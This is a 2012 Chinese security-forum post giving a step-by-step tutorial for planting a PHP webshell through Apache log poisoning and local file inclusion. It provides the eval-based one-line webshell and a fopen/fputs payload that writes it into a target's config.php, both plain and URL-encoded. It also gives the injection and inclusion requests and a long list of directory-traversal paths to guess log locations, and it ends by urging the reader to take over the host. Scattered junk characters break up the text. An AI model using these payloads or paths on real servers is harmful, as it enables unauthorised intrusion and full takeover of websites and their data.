找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1850|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 5 R6 X, i' o; o' O5 |0 b

5 W: b+ a) l( m+ m6 d' {比如还是这句一句话木马 : C7 d) B  e, h' M6 u
<?eval($_POST[cmd]);?>   ' X% s4 N$ S& c" F( s) Q* v. l

: @) ], L/ h* r" t- M到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 3 b# r4 q8 o7 `/ z+ p- i
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 % K( w) |% v/ b1 v
, z) m2 d1 i$ n% t. x
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
1 x) Q  ]7 u5 r# R" e! Vfclose($fp);?>   //在config.php里写入一句木马语句
7 r: L; M, {. w1 L1 M* g8 q2 y7 ?3 B5 y  i" U8 g; g1 k
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 7 O0 i+ g, P% y3 p
转换为 ; A1 X+ X2 z) P2 y7 V
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
& e1 T1 l$ S% G: c% rconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
. g9 e# V% ]9 ~: G) N%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B ) o3 K* o5 ?: _+ z! B) E8 c! N
fclose%28%24fp%29%3B%3F%3E + `! f% K: }$ l
我们提交 - K4 K. E- R& m/ C" b
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
- [! l' a9 ^# @4 }8 r%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp 4 I+ P( G8 ^* \" s" m: V& N
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B ) Q. q  ^: h' r4 I8 L
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E % B7 x* U" M$ g2 J" `# y
8 x$ A. ^2 N* z! m
这样就错误日志里就记录下了这行写入webshell的代码。 7 p- A$ ]' K1 |, r
我们再来包含日志,提交 4 E2 s2 `( K8 U
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
" A4 H" A# D3 K& f0 }! s8 d$ M  L8 s2 E- C6 T
这样webshell就写入成功了,config.php里就写入一句木马语句 / b+ m0 o- R- d' C
OK. + }; ~2 `) u5 `
http://www.xxx.com/forum/config.php这个就成了我们的webshell
- `3 u5 F7 w0 a直接用lanker的客户端一连,主机就是你的了。
$ I  g5 h. h. W) ]; S4 ^, i# p4 V: Q5 d
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 ( x1 a$ G+ v8 [
$ J! L& s/ ^# K! V" n
其他的日志路径,你可以去猜,也可以参照这里。
7 F* ~0 j0 x3 D- ?" ~* D../../../../../../../../../../var/log/httpd/access_log
. U3 L2 t2 O, t8 l( o../../../../../../../../../../var/log/httpd/error_log 8 ?: ^" P( k# L1 h) Y0 x; p% G
../apache/logs/error.log # G7 w( N2 C; z( m$ T
../apache/logs/access.log ) }, l4 [' z8 `  E- i
../../apache/logs/error.log 8 z' g4 B* g6 J2 v) T( L6 b
../../apache/logs/access.log
* o5 f8 _8 O, X* x3 t5 h) y../../../apache/logs/error.log ; t) i' @# k1 {7 q
../../../apache/logs/access.log + p5 H+ |, k' ~
../../../../../../../../../../etc/httpd/logs/acces_log
' x6 v6 W$ f# O1 t2 Q' P- E2 c! j../../../../../../../../../../etc/httpd/logs/acces.log
9 A6 A0 P  r- H/ S" U4 h, t0 Z../../../../../../../../../../etc/httpd/logs/error_log + S3 H6 t" U0 ~! x) E# M7 C# L0 X
../../../../../../../../../../etc/httpd/logs/error.log   C! d  O8 \6 F$ H
../../../../../../../../../../var/www/logs/access_log 4 \0 T: I/ o4 i7 G
../../../../../../../../../../var/www/logs/access.log
# A  b$ {4 l; U: Y2 s: r: Q! ?../../../../../../../../../../usr/local/apache/logs/access_log ) r$ @3 [1 p2 U! u) c; }3 v
../../../../../../../../../../usr/local/apache/logs/access.log
. y! V" P$ i7 A# ?3 }../../../../../../../../../../var/log/apache/access_log " v; T. g/ j! v, }0 [/ h
../../../../../../../../../../var/log/apache/access.log
( _- b/ n& o/ c6 l: A. S$ ^# z/ s../../../../../../../../../../var/log/access_log 2 C- X, C- i" m* Q3 G
../../../../../../../../../../var/www/logs/error_log
) y  k- f+ G3 o& \% a# i../../../../../../../../../../var/www/logs/error.log
& A) R& o$ l* N- a* B6 X../../../../../../../../../../usr/local/apache/logs/error_log - O( H9 f& b0 \- ^# Y
../../../../../../../../../../usr/local/apache/logs/error.log
4 Y7 S7 d; I/ ~. M+ H) g../../../../../../../../../../var/log/apache/error_log . \+ u- e/ o# j$ J7 B
../../../../../../../../../../var/log/apache/error.log # E' W$ E6 k: U# q
../../../../../../../../../../var/log/access_log
+ Z8 W! |1 c7 M# s7 b9 x: k../../../../../../../../../../var/log/error_log ( Q8 r; j1 l# B
/var/log/httpd/access_log      
5 p: L1 B! c/ T* g/var/log/httpd/error_log     
$ r) ^' L( z7 N4 T$ Q' `../apache/logs/error.log     
9 b/ }' h9 \: ~- g3 B; B  M6 N../apache/logs/access.log # ]' T. d# n9 W9 Q
../../apache/logs/error.log
8 J# Z8 M$ N, m& {* w4 z8 [9 i../../apache/logs/access.log 3 y1 |- M+ \% x. o: e& @; i  t
../../../apache/logs/error.log 8 X, l* w, U8 _9 Y
../../../apache/logs/access.log ' w/ U- d* S: d; l2 N& |2 Q! b
/etc/httpd/logs/acces_log
- T( W5 e0 z9 q& c( }, A7 Q/etc/httpd/logs/acces.log 3 I. `8 r0 d! P9 H7 h1 t# n
/etc/httpd/logs/error_log % L* e; ^, b+ X, U0 d
/etc/httpd/logs/error.log
- Y& p( m" K0 q* ^; L/var/www/logs/access_log
$ W) C# I$ O6 p. {/var/www/logs/access.log
" t( Q0 C1 l* J% |) T4 J/usr/local/apache/logs/access_log & n+ q" Q# F" N" [3 X( ^7 v
/usr/local/apache/logs/access.log 6 S% x# t7 e8 s3 x6 d' g3 k+ h% d
/var/log/apache/access_log 3 X; a1 y# j8 I! c$ c2 F
/var/log/apache/access.log
5 S+ ]3 L: C0 F' F/var/log/access_log 5 p, A3 h# l: p) x- Z* \! {+ n- u
/var/www/logs/error_log 7 p; L8 N: v  Q( M$ d6 w
/var/www/logs/error.log 2 V7 V% ]2 N5 a( B' |
/usr/local/apache/logs/error_log 3 X8 |# a& h1 q2 d  g6 X' @2 }2 u
/usr/local/apache/logs/error.log
! P/ Y; X: o; p7 o: R, j/var/log/apache/error_log
; H$ f$ v$ E; J9 R1 }6 I/var/log/apache/error.log
, \0 D/ c  Y' M0 }) W/var/log/access_log 8 k/ Z, y( v; m+ K
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表